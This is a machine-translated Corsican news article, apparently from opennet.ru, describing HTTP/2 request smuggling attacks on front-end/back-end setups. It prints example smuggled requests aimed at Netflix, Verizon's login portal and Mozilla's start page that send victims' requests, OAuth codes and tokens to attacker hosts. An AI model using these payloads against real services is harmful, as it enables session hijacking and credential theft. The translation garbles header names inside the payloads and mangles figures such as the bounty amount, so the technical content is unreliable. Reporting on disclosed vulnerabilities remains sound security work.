Un novu attaccu à i sistemi front-end-backend chì vi permette di cuncellà in richieste

I sistemi web in quale u frontend accetta cunnessione via HTTP / 2 è trasmette à u backend via HTTP / 1.1 sò stati esposti à una nova variante di l'attaccu HTTP Request Smuggling, chì permette, mandendu richieste di clienti apposta, di cuncellà in u cuntenutu. di e dumande da altri utilizatori processate in u stessu flussu trà frontend è backend. L'attaccu pò esse usatu per inserisce codice JavaScript maliziusu in una sessione cù un situ legittimu, bypassà i sistemi di cuntrollu di accessu, è intercepte i paràmetri di autentificazione.

U prublema affetta i proxy web, i bilanciatori di carica, l'acceleratori web, i sistemi di spedizione di cuntenutu è altre cunfigurazioni in quale e richieste sò redirette secondu u schema front-end-backend. L'autore di u studiu hà dimustratu a capacità di attaccà i sistemi in Netflix, Verizon, Bitbucket, Netlify CDN è Atlassian, è hà ricevutu $ 56 in prugrammi di bonus di vulnerabilità. U prublema hè statu ancu cunfirmatu in i prudutti F5 Networks. Parzialmente u prublema affetta mod_proxy in u servitore http Apache (CVE-2021-33193), una correzione hè prevista in a versione 2.4.49 (i sviluppatori sò stati avvisati di u prublema à principiu di maghju è anu ricevutu 3 mesi per riparà). In nginx, a capacità di specificà l'intestazione "Content-Length" è "Transfer-Encoding" à u stessu tempu hè stata bluccata in l'ultima versione (1.21.1). L'arnesi d'attaccu sò digià aghjuntu à u toolkit Burp è sò dispunibuli cum'è una estensione Turbo Intruder.

U principiu di funziunamentu di u novu metudu di cunghjuntà e dumande in u trafficu hè simile à a vulnerabilità identificata da u stessu investigatore dui anni fà, ma limitata à frontends chì accettanu richieste via HTTP/1.1. Ricurdativi chì in u schema frontend-backend, e richieste di u cliente sò ricevute da un node supplementu - u frontend, chì stabilisce una cunnessione TCP longa cù u backend chì processa direttamente e dumande. Per mezu di sta cunnessione cumuna, i richieste di diversi utilizatori sò generalmente trasmessi, chì seguitanu a catena unu dopu l'altru, siparati per mezu di u protocolu HTTP.

L'attaccu classicu "HTTP Request Smuggling" hè basatu annantu à u fattu chì i frontends è i backends interpretanu l'usu di l'intestazione HTTP "Content-Length" (determina a dimensione tutale di e dati in a dumanda) è "Transfer-Encoding: chunked" ( permette u trasferimentu di dati in parti) in modu diversu. Per esempiu, se u frontend sustene solu "Content-Length" ma ignora "Transfer-Encoding: chunked", allora un attaccu pò mandà una dumanda chì sia cuntene l'intestazione "Content-Length" è "Transfer-Encoding: chunked", ma a dimensione hè "Content-Length" ùn currisponde à a dimensione di a catena chunked. In questu casu, u frontend prucederà è redirige a dumanda secondu a "Lunghezza di u cuntenutu", è u backend aspittàrà chì u bloccu finisci basatu annantu à "Transfer-Encoding: chunked" è a cuda restante di a dumanda di l'attaccante serà. à u principiu di a dumanda straniera trasmessa dopu.

A cuntrariu di u protocolu di testu HTTP/1.1, chì hè analizatu à u livellu di linea, HTTP/2 hè un protokollu binariu è manipula blocchi di dati di una dimensione predeterminata. Tuttavia, HTTP/2 usa pseudo-headers chì currispondenu à l'intestazione HTTP regulare. Quandu interagisce cù u backend via HTTP/1.1, u frontend traduce questi pseudo-headers in HTTP/1.1 HTTP headers simili. U prublema hè chì u backend face decisioni nantu à l'analisi di u flussu basatu annantu à l'intestazione HTTP stabilita da u frontend, senza cunnosce i paràmetri di a dumanda originale.

Cumpresu in forma di pseudo-headers, i valori "lunghezza di cuntenutu" è "codificazione di trasferimentu" ponu esse trasmessi, malgradu u fattu chì ùn sò micca usati in HTTP / 2, postu chì a dimensione di tutti i dati hè determinata in un campu separatu. In ogni casu, in u prucessu di cunvertisce una dumanda HTTP / 2 à HTTP / 1.1, sti headers sò traspurtati è ponu cunfundà u backend. Ci hè duie opzioni di attaccu principali: H2.TE è H2.CL, in quale u backend hè ingannatu da una codificazione di trasferimentu incorrecta o un valore di lunghezza di cuntenutu chì ùn currisponde micca à a dimensione attuale di u corpu di dumanda ricevutu da u frontend via u protocolu HTTP/2.

Un novu attaccu à i sistemi front-end-backend chì vi permette di cuncellà in richieste

Comu esempiu di un attaccu H2.CL, u pseudo-header di lunghezza di cuntenutu hè malformatu quandu invià una dumanda HTTP / 2 à Netflix. Questa dumanda risulta in l'aghjunzione di un header HTTP di lunghezza di cuntenutu simili quandu accede à u backend via HTTP / 1.1, ma postu chì a dimensione in a lunghezza di cuntenutu hè menu di a dimensione attuale, alcune di e dati in a cuda sò processati cum'è principiu di a prossima dumanda.

Per esempiu, una dumanda HTTP/2:metudu POST:path /n:authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Mandarà una dumanda à u backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Siccomu u Content-Length hè stabilitu à 4, u backend accetterà solu "abcd" cum'è u corpu di a dumanda, è processà u restu di "GET /n HTTP/1.1..." cum'è u principiu di a prossima dumanda ligata à un altru utilizatore. In cunsiquenza, u flussu serà fora di sincronia, è in risposta à a prossima dumanda, u risultatu di trasfurmà a dumanda falsa serà restituita. In u casu di Netflix, specificà un ospite di terzu in l'intestazione "Host:" in una dumanda falsificata hà risultatu in a risposta "Location: https://02.rs?x.netflix.com/n" à u cliente è permessu di u cuntenutu arbitrariu per esse passatu à u cliente, cumpresu eseguisce u vostru codice JavaScript in u cuntestu di u situ Netflix.

A seconda variante di l'attaccu (H2.TE) hè assuciata cù a sustituzione di l'intestazione "Transfer-Encoding: chunked". L'usu di u pseudo-header di codificazione di trasferimentu in HTTP / 2 hè pruibitu da a specificazione è e dumande cun ella sò prescritte per esse trattate cum'è incorrecte. Malgradu questu, alcune implementazioni di frontend ignoranu stu requisitu è ​​permettenu l'usu di u pseudo-header di codificazione di trasferimentu in HTTP/2, chì si traduce in un header HTTP simili. Se l'intestazione "Transfer-Encoding" hè presente, u backend pò piglià cum'è una priorità è analizà e dati in parte in u modu "chunked" usendu blocchi di diverse dimensioni in u formatu "{size}\r\n{block} \r\n{taglia} \r\n{bloccu}\r\n0" malgradu a divisione iniziale per grandezza generale.

A prisenza di tali gap hè statu dimustratu da l'esempiu di Verizon. In ogni casu, u prublema cuncernava u portale di autentificazione è u sistema di gestione di cuntenutu, chì hè ancu utilizatu da siti cum'è Huffington Post è Engadget. Per esempiu, una dumanda di cliente nantu à HTTP/2::metudu POST:path /identitfy/XUI:authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

A dumanda HTTP/1.1 causata à u backend: POST /identità/XUI HTTP/1.1 Host: id.b2b.oath.com Lunghezza di cuntenutu: 66 Trasferimentu-Codificazione: chunked 0 GET /oops HTTP/1.1 Host: psres.net Lunghezza di cuntenutu: : 10x=

U backend, à u turnu, ignorava l'intestazione "Content-Length" è hà fattu a splitting in u flussu basatu annantu à "Transfer-Encoding: chunked". In pratica, l'attaccu hà permessu di ridirezzione di e dumande di l'utilizatori à u vostru situ, cumprese l'interceptazione di e dumande relative à l'autentificazione OAuth, i paràmetri di quale apparsu in l'intestazione di u Referer, è ancu di simulazione di una sessione di autentificazione è di inizià l'inviu di credenziali da l'utilizatori. sistema à l'ospite di l'attaccante. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Autorizazione: Bearer eyJhcGwiOiJIUzI1Gi1sInkR6cCI6cCI

Per attaccà l'implementazioni HTTP/2 chì ùn permettenu micca specificà u pseudo-header di trasferimentu di codificazione, hè statu prupostu un altru mètudu chì implica a sustituì l'intestazione "Transfer-Encoding" attachendulu à altri pseudo-headers separati da un caratteru di novu linea (quandu cunvertitu). à HTTP / 1.1 in questu casu, sò creati dui headers HTTP separati).

Per esempiu, Atlassian Jira è Netlify CDN (aduprate per serve a pagina iniziale di Mozilla in Firefox) sò stati affettati da stu prublema. In particulare, a dumanda HTTP/2:metudu POST:path /:authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Lunghezza di cuntenutu: 5\r\n \r\nx=

hà causatu una dumanda HTTP / 1.1 POST / HTTP / 1.1 per esse mandata à u backend\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content- Lunghezza: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Lunghezza di cuntenutu: 5\r\n \ r\nx=

Un'altra opzione per rimpiazzà l'intestazione "Transfer-Encoding" era di aghjunghje à u nome di un altru pseudo-header o à una stringa cù un metudu di dumanda. Per esempiu, quandu accede à Atlassian Jira, u nome di u pseudo-header "foo: bar\r\ntransfer-encoding" cù u valore "chunked" hà risultatu in l'aghjunzione di l'intestazione HTTP "foo: bar" è "transfer-encoding". : chunked", è specificendu in pseudo-header ":method" di u valore "GET / HTTP/1.1\r\nTransfer-encoding: chunked" hè statu traduttu in "GET / HTTP/1.1\r\ntransfer-encoding: chunked" .

L'investigatore chì hà identificatu u prublema hà ancu prupostu una tecnica di tunneling di dumanda per attaccà i frontends, in quale una cunnessione separata à u backend hè stabilitu per ogni indirizzu IP è u trafficu di diversi utilizatori ùn hè micca mischju. A tecnica pruposta ùn vi permette micca di intervene in e dumande di l'altri utilizatori, ma permette di avvelenà u cache spartutu, chì affetta u trattamentu di altre dumande, è vi permette di eseguisce a sustituzione di l'intestu HTTP internu utilizatu per trasfiriri l'infurmazioni di serviziu da u frontend à u backend (per esempiu, quandu l'autentificazione in u frontend side in tali headers pò mandà infurmazione nantu à l'utilizatore attuale à u backend). Cum'è un esempiu di applicà u metudu in a pratica, cù l'avvelenamentu di cache, era pussibule di guadagnà u cuntrollu di e pagine in u serviziu Bitbucket.

Source: opennet.ru

Add a comment